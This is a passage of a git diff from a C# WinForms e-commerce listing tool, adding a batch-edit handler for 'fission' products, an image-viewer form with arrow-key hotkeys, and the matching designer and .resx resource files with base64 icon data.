+ var sFromUrl = ""; + foreach (var fi in Fissions) + { + sFromUrl += GetFromUrl(fi.source, fi.fession_id) + "\r\n"; + } + sFromUrl = sFromUrl.TrimEnd('\r', '\n'); + Fission fs = new Fission(createHtmlPath, sFromUrl, null, pcb, Fiss.category, Fiss.full_category_name, Fiss.fession_title); + fs.Show(); + } + } + + private void chkNeedUpdate_CheckedChanged(object sender, EventArgs e) + { + //ProductUpdateCheckResult = chkNeedUpdate.Checked; + } + + private void btnMulitEdit_Click(object sender, EventArgs e) + { + var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()).ToList(); + var fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + if (fissionIdList.Count == 0) + { + BaseMsgForm.ShowInfo("没有勾选商品", "提示"); + return; + } + + var Fissions = LstFission.Where(f => fissionIdList.Contains(f.id.ToString())).ToList(); + if (Fissions.Count > 0) + { + var Fiss = Fissions[0]; + try + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(Fiss.id.ParseToInt()); + Fiss.fession_title = fissionTemp.fession_title; + Fiss.container_info = fissionTemp.container_info?.Replace("'>", "'>"); + Fiss.main_pic = fissionTemp.main_pic; + Fiss.prop_pic = fissionTemp.prop_pic; + Fiss.props = fissionTemp.props; + Fiss.mainWord = fissionTemp.mainWord; + Fiss.viceword = fissionTemp.viceword; + Fiss.prop = fissionTemp.prop; + Fiss.skus = fissionTemp.skus; + Fiss.from_shop_name = fissionTemp.from_shop_name; + Fiss.qualifications = fissionTemp.qualifications; + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + if (string.IsNullOrEmpty(Fiss.fession_title)) + return; + ProductCollectBase pcb = FissionData2Pcb(Fiss, Fiss.fession_title); + + // 校验总店商品是否发生变化 + string msg = ""; + var pcb_new = GetNewPcb(pcb, out msg); + + string createHtmlPath = Fission.creatFissionPage(pcb); + var sFromUrl = ""; + foreach (var fi in Fissions) + { + sFromUrl += GetFromUrl(fi.source, fi.fession_id) + "\r\n"; + } + sFromUrl = sFromUrl.TrimEnd('\r', '\n'); + Fission fs = new Fission(createHtmlPath, sFromUrl, Fissions, pcb, Fiss.category, Fiss.full_category_name, Fiss.fession_title); + fs.Show(); + } + } + + public void UpdateFissionData(FissionDataModel fissionDataModel) + { + var fissionExist = FissionDataBaseForm.Instance.LstFission.Find(f => f.fession_id == fissionDataModel.fession_id); + if (fissionExist != null) + { + var fissionNew = FissionDataBaseForm.Instance.FissDataModel2Fission(fissionDataModel); + fissionExist.add_pricepercent = fissionNew.add_pricepercent; + fissionExist.base_addprice = fissionNew.base_addprice; + fissionExist.cat2_name = fissionNew.cat2_name; + fissionExist.cat3_name = fissionNew.cat3_name; + fissionExist.category = fissionNew.category; + fissionExist.cate_id = fissionNew.cate_id; + fissionExist.container_info = fissionNew.container_info; + fissionExist.discount = fissionNew.discount; + fissionExist.fession_count = fissionNew.fession_count; + fissionExist.fession_title = fissionNew.fession_title; + fissionExist.full_category_name = fissionNew.full_category_name; + fissionExist.is_changeprice = fissionNew.is_changeprice; + fissionExist.mainWord = fissionNew.mainWord; + fissionExist.main_cate = fissionNew.main_cate; + fissionExist.main_cateid = fissionNew.main_cateid; + fissionExist.main_pic = fissionNew.main_pic; + fissionExist.postFree = fissionNew.postFree; + fissionExist.price = fissionNew.price; + fissionExist.prop = fissionNew.prop; + fissionExist.props = fissionNew.props; + fissionExist.prop_pic = fissionNew.prop_pic; + fissionExist.qualifications = fissionNew.qualifications; + fissionExist.second_cate = fissionNew.second_cate; + fissionExist.skus = fissionNew.skus; + fissionExist.title = fissionNew.title; + fissionExist.viceword = fissionNew.viceword; + + var row = this.dgvFissionProduct.Rows.Cast().FirstOrDefault(r => r.Cells["ColId"].Value?.ToString() == fissionExist.id.ToString()); + if (row != null) + { + string catStr = Fission.GetFullCatString(fissionExist.cate_id.ParseToInt()); + if (string.IsNullOrEmpty(catStr)) + catStr = fissionExist.full_category_name; + if (string.IsNullOrEmpty(catStr)) + catStr = fissionExist.main_cate; + if (catStr == null) + catStr = ""; + + row.Cells["Title"].Value = fissionExist.fession_title; // 新标题 + row.Cells["ColCategory"].Value = fissionExist.category; // 组别 + row.Cells["ColFullCategory"].Value = catStr; // 完整类目 + row.Cells["ColCategory1"].Value = fissionExist.main_cate; // 类目1 + row.Cells["ColCategory2"].Value = fissionExist.cat2_name; // 类目2 + row.Cells["ColCategory3"].Value = fissionExist.cat3_name; // 类目3 + row.Cells["ColTitleNum"].Value = fissionExist.TitleNum; // 标题数量 + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.resx b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.resx new file mode 100644 index 0000000..0baea7d --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.resx @@ -0,0 +1,183 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.cs b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.cs new file mode 100644 index 0000000..3bf9344 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.cs @@ -0,0 +1,199 @@ +using CefSharp; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class FissionShowBigImgForm : LRBaseForm + { + public string imgUrl = ""; + public string imgId = ""; + + public FissionShowBigImgForm(string ImgUrl = "", string ImgId = "") + { + this.DoubleBuffered = true;//设置本窗体 + SetStyle(ControlStyles.UserPaint, true); + SetStyle(ControlStyles.AllPaintingInWmPaint, true); // 禁止擦除背景. + SetStyle(ControlStyles.DoubleBuffer, true); // 双缓冲 + SetStyle(ControlStyles.DoubleBuffer | ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + UpdateStyles(); + + InitializeComponent(); + imgUrl = ImgUrl; + imgId = ImgId; + + this.ShowMaximizeBox = true; + } + protected override void WndProc(ref Message m) + { + if (m.Msg == 0x0014) // 禁掉清除背景消息 + return; + + + const int WM_HOTKEY = 0x0312; + //按快捷键 + switch (m.Msg) + { + case WM_HOTKEY: + switch (m.WParam.ToInt32()) + { + case 100: //按下的是100号快捷键 + btnShowPrev_Click(null, null); //此处填写快捷键响应代码 + break; + case 101: //按下的是101号快捷键 + btnShowNext_Click(null, null); //此处填写快捷键响应代码 + break; + case 102: //按下的是102号快捷键 + this.Close(); //此处填写快捷键响应代码 + break; + } + break; + } + + base.WndProc(ref m); + } + + private void ShowBigImgForm_Load(object sender, EventArgs e) + { + ShowImg(); + } + + public void ShowImg() + { + if (string.IsNullOrEmpty(imgId)) + { + this.btnShowPrev.Visible = false; + this.btnShowNext.Visible = false; + } + + if (!string.IsNullOrEmpty(imgUrl)) + { + try + { + Task.Run(() => + { + System.Threading.Thread.Sleep(10); + + AllBase.WebClientx web = new AllBase.WebClientx(); + var imgArr = web.DownloadData(imgUrl); + MemoryStream ms = new MemoryStream(imgArr); + Invoke(new Action(() => + { + this.pnlImg.BackgroundImage = Image.FromStream(ms); + ms.Dispose(); + })); + }); + } + catch + { + } + } + } + + private void ShowBigImgForm_SizeChanged(object sender, EventArgs e) + { + var deltaNumber = this.Height - 60; + if (this.Width - 28 < this.Height - 60) + deltaNumber = this.Width - 28; + this.pnlImg.Width = deltaNumber; + this.pnlImg.Height = deltaNumber; + this.pnlImg.Location = new Point((this.Width - 2) / 2 - this.pnlImg.Width / 2, (this.Height - 32 - 2) / 2 - this.pnlImg.Height / 2); + } + + private void btnShowNext_Click(object sender, EventArgs e) + { + if (btnShowNext.Visible == false) + return; + + var fiss = Fission.GetInstance(); + if (fiss != null && fiss.browser != null && fiss.browser.IsBrowserInitialized) + { + var jsCode = @"ShowNextImg('" + this.imgId + "');"; + Fission.GetInstance().browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + } + } + + private void btnShowPrev_Click(object sender, EventArgs e) + { + if (btnShowPrev.Visible == false) + return; + + var fiss = Fission.GetInstance(); + if (fiss != null && fiss.browser != null && fiss.browser.IsBrowserInitialized) + { + var jsCode = @"ShowPrevImg('" + this.imgId + "');"; + Fission.GetInstance().browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + } + } + + /// + /// 窗体激活时注册快捷键 + /// + /// + /// + private void FissionShowBigImgForm_Activated(object sender, EventArgs e) + { + //注册热键Shift+S,Id号为100。HotKey.KeyModifiers.Shift也可以直接使用数字4来表示。 + HotKey.RegisterHotKey(Handle, 100, HotKey.KeyModifiers.None, Keys.Left); + //注册热键Ctrl+B,Id号为101。HotKey.KeyModifiers.Ctrl也可以直接使用数字2来表示。 + HotKey.RegisterHotKey(Handle, 101, HotKey.KeyModifiers.None, Keys.Right); + //注册热键Alt+D,Id号为102。HotKey.KeyModifiers.Alt也可以直接使用数字1来表示。 + HotKey.RegisterHotKey(Handle, 102, HotKey.KeyModifiers.None, Keys.Escape); + + } + + /// + /// 窗体离开时注销快捷键 + /// + /// + /// + private void FissionShowBigImgForm_Leave(object sender, EventArgs e) + { + //注销Id号为100的热键设定 + HotKey.UnregisterHotKey(Handle, 100); + //注销Id号为101的热键设定 + HotKey.UnregisterHotKey(Handle, 101); + //注销Id号为102的热键设定 + HotKey.UnregisterHotKey(Handle, 102); + } + } + + class HotKey + { + //如果函数执行成功,返回值不为0。 + //如果函数执行失败,返回值为0。要得到扩展错误信息,调用GetLastError。 + [DllImport("user32.dll", SetLastError = true)] + public static extern bool RegisterHotKey( + IntPtr hWnd, //要定义热键的窗口的句柄 + int id, //定义热键ID(不能与其它ID重复) + KeyModifiers fsModifiers, //标识热键是否在按Alt、Ctrl、Shift、Windows等键时才会生效 + Keys vk //定义热键的内容 + ); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool UnregisterHotKey( + IntPtr hWnd, //要取消热键的窗口的句柄 + int id //要取消热键的ID + ); + //定义了辅助键的名称(将数字转变为字符以便于记忆,也可去除此枚举而直接使用数值) + [Flags()] + public enum KeyModifiers + { + None = 0, + Alt = 1, + Ctrl = 2, + Shift = 4, + WindowsKey = 8 + } + } + +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.designer.cs b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.designer.cs new file mode 100644 index 0000000..18db1bd --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.designer.cs @@ -0,0 +1,142 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class FissionShowBigImgForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FissionShowBigImgForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.btnShowPrev = new DevComponents.DotNetBar.PanelEx(); + this.btnShowNext = new DevComponents.DotNetBar.PanelEx(); + this.pnlImg = new System.Windows.Forms.Panel(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.btnShowPrev); + this.panel2.Controls.Add(this.btnShowNext); + this.panel2.Controls.Add(this.pnlImg); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1198, 766); + this.panel2.TabIndex = 1; + // + // btnShowPrev + // + this.btnShowPrev.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.btnShowPrev.CanvasColor = System.Drawing.SystemColors.Control; + this.btnShowPrev.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnShowPrev.DisabledBackColor = System.Drawing.Color.Empty; + this.btnShowPrev.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnShowPrev.Location = new System.Drawing.Point(94, 358); + this.btnShowPrev.Name = "btnShowPrev"; + this.btnShowPrev.Size = new System.Drawing.Size(50, 50); + this.btnShowPrev.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnShowPrev.Style.BackColor1.Color = System.Drawing.Color.White; + this.btnShowPrev.Style.BackColor2.Color = System.Drawing.Color.White; + this.btnShowPrev.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnShowPrev.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowPrev.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnShowPrev.Style.GradientAngle = 90; + this.btnShowPrev.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnShowPrev.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowPrev.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowPrev.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnShowPrev.TabIndex = 12; + this.btnShowPrev.Text = "<"; + this.btnShowPrev.Click += new System.EventHandler(this.btnShowPrev_Click); + // + // btnShowNext + // + this.btnShowNext.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnShowNext.CanvasColor = System.Drawing.SystemColors.Control; + this.btnShowNext.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnShowNext.DisabledBackColor = System.Drawing.Color.Empty; + this.btnShowNext.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnShowNext.Location = new System.Drawing.Point(1056, 358); + this.btnShowNext.Name = "btnShowNext"; + this.btnShowNext.Size = new System.Drawing.Size(50, 50); + this.btnShowNext.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnShowNext.Style.BackColor1.Color = System.Drawing.Color.White; + this.btnShowNext.Style.BackColor2.Color = System.Drawing.Color.White; + this.btnShowNext.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnShowNext.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowNext.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnShowNext.Style.GradientAngle = 90; + this.btnShowNext.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnShowNext.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowNext.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnShowNext.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnShowNext.TabIndex = 5; + this.btnShowNext.Text = ">"; + this.btnShowNext.Click += new System.EventHandler(this.btnShowNext_Click); + // + // pnlImg + // + this.pnlImg.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pnlImg.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.pnlImg.Location = new System.Drawing.Point(230, 13); + this.pnlImg.Name = "pnlImg"; + this.pnlImg.Size = new System.Drawing.Size(740, 740); + this.pnlImg.TabIndex = 4; + // + // FissionShowBigImgForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(9)))), ((int)(((byte)(131)))), ((int)(((byte)(247))))); + this.ClientSize = new System.Drawing.Size(1200, 800); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.ShowMaximizeBox = true; + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.ShowMinimizedBox = true; + this.Name = "FissionShowBigImgForm"; + this.Text = "图片查看器"; + this.TitleText = "图片查看器"; + this.Activated += new System.EventHandler(this.FissionShowBigImgForm_Activated); + this.Load += new System.EventHandler(this.ShowBigImgForm_Load); + this.SizeChanged += new System.EventHandler(this.ShowBigImgForm_SizeChanged); + this.Leave += new System.EventHandler(this.FissionShowBigImgForm_Leave); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Panel pnlImg; + private DevComponents.DotNetBar.PanelEx btnShowNext; + private DevComponents.DotNetBar.PanelEx btnShowPrev; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.resx b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.resx new file mode 100644 index 0000000..c0e9b3e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionShowBigImgForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQXAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + 